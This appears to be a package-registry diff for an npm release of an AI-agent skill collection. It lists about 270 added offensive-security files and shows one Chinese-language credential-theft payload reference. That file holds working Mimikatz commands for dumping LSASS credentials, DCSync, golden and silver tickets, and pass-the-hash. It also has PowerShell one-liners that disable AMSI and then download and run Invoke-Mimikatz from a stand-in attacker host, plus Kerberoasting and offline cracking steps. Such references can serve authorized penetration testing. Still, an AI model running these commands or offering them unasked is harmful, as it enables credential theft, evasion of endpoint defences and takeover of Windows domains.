opencode-skills-collection 4.0.43 → 4.0.44

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (270) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +47 -1
  2. package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
  3. package/bundled-skills/api-security/SKILL.md +205 -0
  4. package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
  5. package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
  6. package/bundled-skills/apk-reverse/SKILL.md +438 -0
  7. package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
  8. package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
  9. package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
  10. package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
  11. package/bundled-skills/attack-chain/SKILL.md +185 -0
  12. package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
  13. package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
  14. package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
  15. package/bundled-skills/attack-chain/references/phases.md +490 -0
  16. package/bundled-skills/binary-diff/SKILL.md +320 -0
  17. package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
  18. package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
  19. package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
  20. package/bundled-skills/case-review/SKILL.md +167 -0
  21. package/bundled-skills/cloud-k8s/SKILL.md +124 -0
  22. package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
  23. package/bundled-skills/code-audit/SKILL.md +92 -0
  24. package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
  25. package/bundled-skills/database-security/SKILL.md +81 -0
  26. package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
  27. package/bundled-skills/diagram-generator/SKILL.md +199 -0
  28. package/bundled-skills/diagram-generator/references/README.md +3 -0
  29. package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
  30. package/bundled-skills/digital-forensics/SKILL.md +93 -0
  31. package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
  32. package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
  33. package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
  34. package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
  35. package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
  36. package/bundled-skills/docs/sources/sources.md +9 -0
  37. package/bundled-skills/docs/users/aas-core.md +1 -1
  38. package/bundled-skills/docs/users/bundles.md +1 -1
  39. package/bundled-skills/docs/users/claude-code-skills.md +1 -1
  40. package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
  41. package/bundled-skills/docs/users/kiro-integration.md +1 -1
  42. package/bundled-skills/docs/users/usage.md +3 -3
  43. package/bundled-skills/docs/users/visual-guide.md +4 -4
  44. package/bundled-skills/docs-generator/SKILL.md +197 -0
  45. package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
  46. package/bundled-skills/docs-generator/references/templates.md +102 -0
  47. package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
  48. package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
  49. package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
  50. package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
  51. package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
  52. package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
  53. package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
  54. package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
  55. package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
  56. package/bundled-skills/email-security/SKILL.md +81 -0
  57. package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
  58. package/bundled-skills/firmware-pentest/SKILL.md +381 -0
  59. package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
  60. package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
  61. package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
  62. package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
  63. package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
  64. package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
  65. package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
  66. package/bundled-skills/hardware-security/SKILL.md +80 -0
  67. package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
  68. package/bundled-skills/ida-reverse/SKILL.md +401 -0
  69. package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
  70. package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
  71. package/bundled-skills/identity-federation/SKILL.md +81 -0
  72. package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
  73. package/bundled-skills/instructree/SKILL.md +94 -0
  74. package/bundled-skills/js-reverse/SKILL.md +239 -0
  75. package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
  76. package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
  77. package/bundled-skills/js-reverse/references/env-patching.md +6 -0
  78. package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
  79. package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
  80. package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
  81. package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
  82. package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
  83. package/bundled-skills/js-reverse/references/output-contract.md +9 -0
  84. package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
  85. package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
  86. package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
  87. package/bundled-skills/llm-security/SKILL.md +160 -0
  88. package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
  89. package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
  90. package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
  91. package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
  92. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  93. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  94. package/bundled-skills/macos-reverse/SKILL.md +85 -0
  95. package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
  96. package/bundled-skills/malware-analysis/SKILL.md +311 -0
  97. package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
  98. package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
  99. package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
  100. package/bundled-skills/mobile-reverse/SKILL.md +222 -0
  101. package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
  102. package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
  103. package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
  104. package/bundled-skills/muapi-media/SKILL.md +311 -0
  105. package/bundled-skills/ot-ics/SKILL.md +117 -0
  106. package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
  107. package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
  108. package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
  109. package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
  110. package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
  111. package/bundled-skills/pentest-tools/SKILL.md +346 -0
  112. package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
  113. package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
  114. package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
  115. package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
  116. package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
  117. package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
  118. package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
  119. package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
  120. package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
  121. package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
  122. package/bundled-skills/pentest-tools/references/payloads.md +32 -0
  123. package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
  124. package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
  125. package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
  126. package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
  127. package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
  128. package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
  129. package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
  130. package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
  131. package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
  132. package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
  133. package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
  134. package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
  135. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
  136. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
  137. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
  138. package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
  139. package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
  140. package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
  141. package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
  142. package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
  143. package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
  144. package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
  145. package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
  146. package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
  147. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
  148. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
  149. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
  150. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
  151. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
  152. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
  153. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
  154. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
  155. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
  156. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
  157. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
  158. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
  159. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
  160. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
  161. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
  162. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
  163. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
  164. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
  165. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
  166. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
  167. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
  168. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
  169. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
  170. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
  171. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
  172. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
  173. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
  174. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
  175. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
  176. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
  177. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
  178. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
  179. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
  180. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
  181. package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
  182. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
  183. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
  184. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
  185. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
  186. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
  187. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
  188. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
  189. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
  190. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
  191. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
  192. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
  193. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
  194. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
  195. package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
  196. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
  197. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
  198. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
  199. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
  200. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
  201. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
  202. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
  203. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
  204. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
  205. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
  206. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
  207. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
  208. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
  209. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
  210. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
  211. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
  212. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
  213. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
  214. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
  215. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
  216. package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
  217. package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
  218. package/bundled-skills/protocol-reverse/SKILL.md +108 -0
  219. package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
  220. package/bundled-skills/pwn-chain/SKILL.md +209 -0
  221. package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
  222. package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
  223. package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
  224. package/bundled-skills/radare2/SKILL.md +460 -0
  225. package/bundled-skills/radare2/references/cheatsheet.md +129 -0
  226. package/bundled-skills/radio-sdr/SKILL.md +77 -0
  227. package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
  228. package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
  229. package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
  230. package/bundled-skills/reverse-engineering/SKILL.md +213 -0
  231. package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
  232. package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
  233. package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
  234. package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
  235. package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
  236. package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
  237. package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
  238. package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
  239. package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
  240. package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
  241. package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
  242. package/bundled-skills/reverse-engineering/references/languages.md +499 -0
  243. package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
  244. package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
  245. package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
  246. package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
  247. package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
  248. package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
  249. package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
  250. package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
  251. package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
  252. package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
  253. package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
  254. package/bundled-skills/reverse-engineering/references/tools.md +546 -0
  255. package/bundled-skills/supply-chain-security/SKILL.md +180 -0
  256. package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
  257. package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
  258. package/bundled-skills/thick-client/SKILL.md +104 -0
  259. package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
  260. package/bundled-skills/threat-hunting/SKILL.md +94 -0
  261. package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
  262. package/bundled-skills/threat-intelligence/SKILL.md +176 -0
  263. package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
  264. package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
  265. package/bundled-skills/wifi-wireless/SKILL.md +80 -0
  266. package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
  267. package/bundled-skills/windows-ad/SKILL.md +109 -0
  268. package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
  269. package/package.json +1 -1
  270. package/skills_index.json +1214 -2
@@ -0,0 +1,1259 @@
1
+ # 凭证窃取
2
+
3
+ _20 条 intranet payload_
4
+
5
+ ### Mimikatz凭证抓取 `mimikatz-creds`
6
+ _使用Mimikatz抓取Windows系统凭证_
7
+ 子类:**Mimikatz** · tags: `mimikatz` `credentials` `windows` `lsass`
8
+
9
+ **前置条件:**
10
+ - 需要管理员权限
11
+ - 需要绕过杀毒软件
12
+ - Windows系统
13
+
14
+ **攻击链:**
15
+
16
+ **抓取所有凭证**
17
+ > 抓取LSASS中的所有登录凭证
18
+ _platform: windows_
19
+ ```
20
+ mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
21
+ ```
22
+ **语法解析:**
23
+ - `privilege::debug` — 获取Debug权限,需要管理员权限 _command_
24
+ - `sekurlsa::logonpasswords` — 从LSASS导出所有登录凭证 _command_
25
+ - `exit` — 执行完毕后退出 _command_
26
+
27
+ **导出LSASS**
28
+ > 从LSASS转储文件中提取凭证
29
+ _platform: windows_
30
+ ```
31
+ mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"
32
+ ```
33
+
34
+ **Pass-the-Hash**
35
+ > 使用NTLM哈希进行Pass-the-Hash攻击
36
+ _platform: windows_
37
+ ```
38
+ mimikatz.exe "sekurlsa::pth /user:Administrator /domain:target.com /ntlm:HASH" "exit"
39
+ ```
40
+
41
+ **DCSync攻击**
42
+ > 模拟DC同步获取域内所有用户哈希
43
+ _platform: windows_
44
+ ```
45
+ mimikatz.exe "lsadump::dcsync /domain:target.com /user:Administrator" "exit"
46
+ ```
47
+ **语法解析:**
48
+ - `lsadump::dcsync` — DCSync命令,模拟域控制器复制 _command_
49
+ - `/domain:` — 目标域名 _parameter_
50
+ - `/user:` — 要同步的用户 _parameter_
51
+
52
+ **导出所有哈希**
53
+ > 从LSA导出所有用户哈希
54
+ _platform: windows_
55
+ ```
56
+ mimikatz.exe "lsadump::lsa /inject" "exit"
57
+ ```
58
+
59
+ **黄金票据**
60
+ > 生成黄金票据获取域管理员权限
61
+ _platform: windows_
62
+ ```
63
+ mimikatz.exe "kerberos::golden /domain:target.com /sid:S-1-5-21-xxx /krbtgt:HASH /user:Administrator" "exit"
64
+ ```
65
+ **语法解析:**
66
+ - `kerberos::golden` — 生成黄金票据命令 _command_
67
+ - `/sid:` — 域SID _parameter_
68
+ - `/krbtgt:` — krbtgt账户的NTLM哈希 _parameter_
69
+
70
+ **白银票据**
71
+ > 生成白银票据访问特定服务
72
+ _platform: windows_
73
+ ```
74
+ mimikatz.exe "kerberos::golden /domain:target.com /sid:S-1-5-21-xxx /target:server.target.com /service:cifs /rc4:HASH /user:Administrator" "exit"
75
+ ```
76
+
77
+ **EDR 绕过变体:**
78
+
79
+ **PowerShell加载**
80
+ > 通过PowerShell远程加载Mimikatz
81
+ ```
82
+ IEX (New-Object Net.WebClient).DownloadString("http://attacker/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords" # security-allowlist: SEC005
83
+ ```
84
+
85
+ **AMSI绕过**
86
+ > 禁用AMSI后加载Mimikatz
87
+ ```
88
+ SET-ITEM -PATH "HKLM:\SOFTWARE\Microsoft\AMSI" -NAME "AllowBlocking" -VALUE 1; IEX (New-Object Net.WebClient).DownloadString("http://attacker/Invoke-Mimikatz.ps1") # security-allowlist: SEC005
89
+ ```
90
+
91
+ **混淆执行**
92
+ > 通过反射绕过AMSI
93
+ ```
94
+ $a='[Ref].Assembly.GetType'('System.Management.Automation.AmsiUtils');$b=$a.GetField'('amsiInitFailed','NonPublic,Static');$b.SetValue($null,$true);IEX(New-Object Net.WebClient).DownloadString('http://attacker/Invoke-Mimikatz.ps1') # security-allowlist: SEC005
95
+ ```
96
+
97
+
98
+ **分析:** 成功执行后可获取明文密码、NTLM哈希、Kerberos票据等凭证信息。
99
+
100
+ **OPSEC 提示:**
101
+ - Mimikatz会被大多数杀软检测
102
+ - 使用混淆或内存加载绕过检测
103
+ - 优先考虑使用其他更隐蔽的工具
104
+ - 操作LSASS会触发EDR告警
105
+
106
+ **概述:** Mimikatz是一款强大的Windows安全测试工具,可以从内存中提取明文密码、哈希、Kerberos票据等凭证信息。
107
+
108
+ **漏洞原理:** Windows系统将用户凭证存储在LSASS进程内存中,Mimikatz可以直接读取这些凭证。这是Windows认证机制的设计特性。
109
+
110
+ **利用方法:** 利用流程:1) 获取管理员权限;2) 绕过杀毒软件;3) 执行Mimikatz抓取凭证;4) 使用凭证进行横向移动;5) 提升到域管理员权限。
111
+
112
+ **防御措施:** 防御措施:1) 启用Credential Guard;2) 限制管理员权限;3) 监控LSASS访问;4) 部署EDR解决方案;5) 定期更改密码。
113
+
114
+ ---
115
+
116
+ ### Kerberoasting攻击 `kerberoasting`
117
+ _Kerberoasting攻击获取服务账户哈希_
118
+ 子类:**Kerberos** · tags: `kerberoasting` `kerberos` `active-directory` `spn`
119
+
120
+ **前置条件:**
121
+ - 域环境
122
+ - 任意域用户凭证
123
+ - 域内存在SPN账户
124
+
125
+ **攻击链:**
126
+
127
+ **发现SPN**
128
+ > 查询域内所有SPN
129
+ _platform: windows_
130
+ ```
131
+ setspn -T domain.com -Q */*
132
+ ```
133
+
134
+ **请求服务票据**
135
+ > PowerShell请求Kerberos票据
136
+ _platform: windows_
137
+ ```
138
+ Add-Type -AssemblyName System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/webserver.target.com"
139
+ ```
140
+
141
+ **导出票据**
142
+ > 使用Mimikatz导出Kerberos票据
143
+ _platform: windows_
144
+ ```
145
+ mimikatz.exe "kerberos::list /export" "exit"
146
+ ```
147
+
148
+ **Rubeus请求**
149
+ > 使用Rubeus进行Kerberoasting
150
+ _platform: windows_
151
+ ```
152
+ Rubeus.exe kerberoast /stats
153
+ ```
154
+ **语法解析:**
155
+ - `Rubeus.exe` — Kerberos攻击工具 _command_
156
+ - `kerberoast` — Kerberoasting模块 _command_
157
+ - `/stats` — 显示统计信息 _parameter_
158
+
159
+ **Impacket GetUserSPNs**
160
+ > 使用Impacket获取服务票据
161
+ _platform: linux_
162
+ ```
163
+ GetUserSPNs.py domain/user:password -dc-ip dc_ip -request
164
+ ```
165
+ **语法解析:**
166
+ - `GetUserSPNs.py` — Impacket Kerberoasting工具 _command_
167
+ - `-request` — 请求服务票据 _parameter_
168
+
169
+ **离线破解**
170
+ > 使用Hashcat破解Kerberos票据
171
+ _platform: linux_
172
+ ```
173
+ hashcat -m 13100 kerberoast.hash wordlist.txt
174
+ ```
175
+ **语法解析:**
176
+ - `-m 13100` — Kerberos 5 TGS-REP模式 _parameter_
177
+
178
+ **EDR 绕过变体:**
179
+
180
+ **RC4加密**
181
+ > 使用RC4加密,避免触发告警
182
+ ```
183
+ Rubeus.exe kerberoast /rc4opsec
184
+ ```
185
+
186
+
187
